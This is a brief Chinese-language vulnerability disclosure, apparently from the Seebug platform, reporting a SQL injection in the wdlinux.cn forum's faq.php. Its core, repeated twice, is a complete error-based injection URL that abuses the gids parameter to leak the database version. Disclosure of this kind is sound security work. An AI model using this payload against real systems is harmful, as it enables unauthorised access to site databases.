wdlinux一处sql注射

### 简要描述： rt ### 详细说明： ``` http://www.wdlinux.cn/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema%20.tables%20group%20by%20x)a)%23 ``` [<img src="https://images.seebug.org/upload/201407/02201309ce1067372604b7a3ca448f3c8bd574aa.jpg" alt="11.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/02201309ce1067372604b7a3ca448f3c8bd574aa.jpg) ### 漏洞证明： ``` http://www.wdlinux.cn/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema%20.tables%20group%20by%20x)a)%23 ``` [<img src="https://images.seebug.org/upload/201407/02201309ce1067372604b7a3ca448f3c8bd574aa.jpg" alt="11.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/02201309ce1067372604b7a3ca448f3c8bd574aa.jpg)